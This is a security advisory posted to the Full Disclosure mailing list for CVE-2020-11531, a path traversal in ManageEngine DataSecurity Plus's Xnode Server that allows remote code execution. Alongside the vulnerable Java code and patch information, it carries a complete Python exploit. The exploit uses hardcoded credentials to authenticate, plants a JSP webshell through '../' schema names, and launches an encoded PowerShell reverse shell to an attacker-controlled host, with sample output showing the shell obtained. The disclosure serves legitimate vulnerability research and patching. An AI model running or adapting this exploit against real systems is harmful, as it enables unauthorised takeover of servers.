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[FD] DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal
- From: xen1thLabs <xen1thLabs@xxxxxxxxxxxxx>
- Date: Tue, 5 May 2020 16:49:36 +0000
XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path
Traversal
===============================================================================
Identifiers
-------------------------------------------------
* CVE-2020-11531
* XL-20-001
CVSSv3 score
-------------------------------------------------
9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vendor
-------------------------------------------------
ManageEngine -
[https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)
Product
-------------------------------------------------
ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider
threats, preventing data loss, and meeting compliance requirements. It provides
realtime monitoring of filesystem there by help in maintaining the file
integrity and combating against ransomeware attacks using automated threat
response mechanisms. It comes with the features such as File Server Audting,
Data Leak Prevention and Data Risk assessment
Affected products
-------------------------------------------------
- All DataSecurity Plus versions prior to 6.0.1 (6011)
- All ADAudit Plus versions prior to 6.0.3 (6032)
Credit
-------------------------------------------------
Sahil Dhar - xen1thLabs - Software Labs
Vulnerability summary
-------------------------------------------------
ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not
validate the database schema name when handling `DR-SCHEMA-SYNC` request. This
allows an authenticated attacker to execute code in the context of DataSecurity
Plus application by writing a JSP file in the webroot directory using a
directory traversal attack.
Technical details
------------------------------------------------
Upon receiving the `DR-SCHEMA-SYNC` request, the application calls the
`syncDRSchemas()` function of `DataRepositoryManager` class at line:109 of
`DataRepositoryManager.java` from `dataengine-xnode.jar` package.
As can be seen at line:126 of function `syncDRSchemas()` , the function
concatenates the name of database schema while generating the filename
dynamically and write the values passed in a JSON object to it.
```java
109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest
request) throws Exception {
110: JSONObject jResponse = new JSONObject();
111: JSONObject jSchemas = request.drSchemaListObj();
112: File schemasFolder = ((Path)
Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();
113: schemaMap = new ConcurrentHashMap();
114: if (!schemasFolder.exists()) {
115: schemasFolder.mkdirs();
116: }
117: if (schemasFolder.isDirectory()) {
118: File[] schemaFileList = schemasFolder.listFiles();
119: for (File schemaFile: schemaFileList) {
120: schemaFile.delete();
121: }
122: }
123: Iterator iterator = jSchemas.keys();
124: while (iterator.hasNext()) {
125: String key = (String) iterator.next();
126: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new
FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator +
key));
127: bw.write(jSchemas.getJSONObject(key).toString(2));
128: bw.close();
129: Object schema = new XNodeDRSchema(key.replace(".json", ""),
jSchemas.getJSONObject(key));
130: schemaMap.put(((DRSchema) schema).getSchemaName(), schema);
131: LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
132: }
133: checkFieldWithMultipleDataTypes();
134: jResponse.put("error_code", 0);
135: return jResponse;
136: }
```
Proof of concept
-------------------------------------------------
Using the following exploit code, we can observe that by sending a
`DR-SCHEMA-SYNC` request to the DataEngine XNode server with specially crafted
schema name, one can write files to the webroot directory of DataSecurityPlus
application and execute arbitrary JAVA code.
```python
#!/usr/bin/env python
# Author: Sahil Dhar(@0x401)
import socket
import sys
import requests
import telnetlib
import threading
import os
from time import sleep
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def reverse_tcp_handler(lport):
print("[+] Starting reverse handler on port %d" %(lport))
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Got connection from %s" % addr[0])
t.sock = conn
print("[+] whoami ?")
t.write(b"whoami\n")
t.interact()
def get_bytearray_payload(lhost,lport):
cmd = "$client = New-Object
System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1
| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush()};$client.Close()"
r_cmd = ""
for c in cmd:
r_cmd += c
r_cmd += "\x00"
payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass
-Enc "%s"' % (b64encode(r_cmd.encode('utf-8'))).decode('utf-8')
r = ""
for i in payload:
r += str(ord(i))
r += ", "
r = r[0:-2]
return r
def send_payload(rhost, rport, web_port, lhost, lport):
auth =
'{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'
shell = '{"action":"dr:/dr_schema_sync","request_id":2,
"dr_schema_list": {"../../../../../webapps/fap/poc.jsp":{"a":"<%
Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost,
lport)+'})); %>"}}}'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost,int(rport)))
s.send(auth.encode('utf-8'))
sleep(1)
s.send(shell.encode('utf-8'))
print("[+] Triggering the shell...")
r =
requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" %(rhost,
web_port))
def main():
help="%s <rhost> <rport> <web_port> <lhost> <lport>" %
(os.path.basename(__file__))
if len(sys.argv) < 6:
print(help)
os._exit(1)
disable_warnings()
rhost = sys.argv[1]
rport = int(sys.argv[2])
web_port = int(sys.argv[3])
lhost = sys.argv[4]
lport = int(sys.argv[5])
th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
th.start()
send_payload(rhost, rport, web_port, lhost, lport)
if __name__=="__main__":
main()
```
```
#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>
```
Solution
-------------------------------------------------
Update the affected products to their latest version.
Timeline
-------------------------------------------------
Date | Status
------------|-----------------------------
04-MAR-2020 | Reported to vendor
13-MAR-2020 | Patch available
05-MAY-2020 | Public disclosure
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